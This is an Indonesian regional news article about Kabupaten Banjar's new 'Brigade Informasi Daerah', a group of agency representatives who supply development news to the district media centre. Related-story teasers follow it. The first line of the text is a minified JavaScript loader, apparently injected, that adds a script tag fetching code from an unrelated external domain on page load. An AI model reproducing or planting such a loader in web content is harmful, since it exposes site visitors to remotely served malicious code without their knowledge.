(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Era keterbukaan informasi seperti saat ini, mengharuskan pemerintah di daerah harus memberikan seluas-luasnya informasi tentang program serta pembangunan yang sudah atau tengah dilaksanakan.
Begitu yang dilakukan Pemkab Banjar melalui Dinas Informasi Komunikasi Statistik dan Persandian Kabupaten Banjar menyikapi kewajiban tersebut dengan membentuk Brigade Informasi Daerah. Brigade Informasi Daerah berasal dari perwakilan satuan kerja perangkat daerah (SKPD), badan usaha milik daerah (BUMD) serta kecamatan di lingkup Pemkab Banjar.
Brigade Informasi Daerah Kabupaten Banjar dikukuhkan Bupati KH Khalilurrahman di halaman kantor Pemkab Banjar, Senin (6/8), ditandai pemasangan rompi kepada dua anggota Brigade Informasi Daerah. Pengukuhan disaksikan Sekda Banjar Ir H Nasrunsyah, Kepala Dinas Komunikasi Informatika Statistik dan Persandian Kabupaten Banjar HM Farid Soufian, para kepala SKPD serta peserta apel gabungan.
Menurut Sekda Banjar Ir H Nasrunsyah, keberadaan rekan-rekan Brigade Informasi Daerah begitu penting untuk memberikan informasi tentang program kerja setiap SKPD, badan, BUMD serta di kecamatan.
Kadis Kominfo Statistik dan Persandian Kabupaten Banjar HM Farid Soufian menjelaskan, anggota Brigade Informasi Daerah terdiri dari perwakilan setiap SKPD, badan, BUMD dan kecamatan di Kabupaten Banjar.
Mereka diwajibkan untuk menginformasikan tentang kegiatan pembangunan dan program kerja SKPD dan wilayah kecamatan masing-masing. Rilis berita dan foto kemudian dikirim ke Media Center Kabupaten Banjar yang dikelola oleh Dinas Kominfo Statistik dan Persandian guna dipublikasikan.
“Pembentukan Brigade Informasi Daerah ini merupakan inovasi kita guna menggali sebesar-besarnya informasi kegiatan pembangunan dan pelayanan masyarakat hingga di kecamatan. Baru Kabupaten Banjar yang membentuk brigade seperti ini,†tandasnya.
Ditambahkan Farid, sesuai dengan UU No. 14 tahun 2008 tentang keterbukaan informasi publik, maka setiap media publik mesti memberikan informasi yang mudah diakses masyarakat.
Rekan-rekan Brigade Informasi Daerah, sudah kita bekali dengan kemampuan untuk menyusun sebuah berita dan photografi jurnalistik dengan narasumber, Sofyar Redhani jurnalis harian Banjarmasin Post, Nasrullah dari Barito Post serta Agus Fahlevi dari Media Center tentang Photografi Ponsel. (rendy)
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.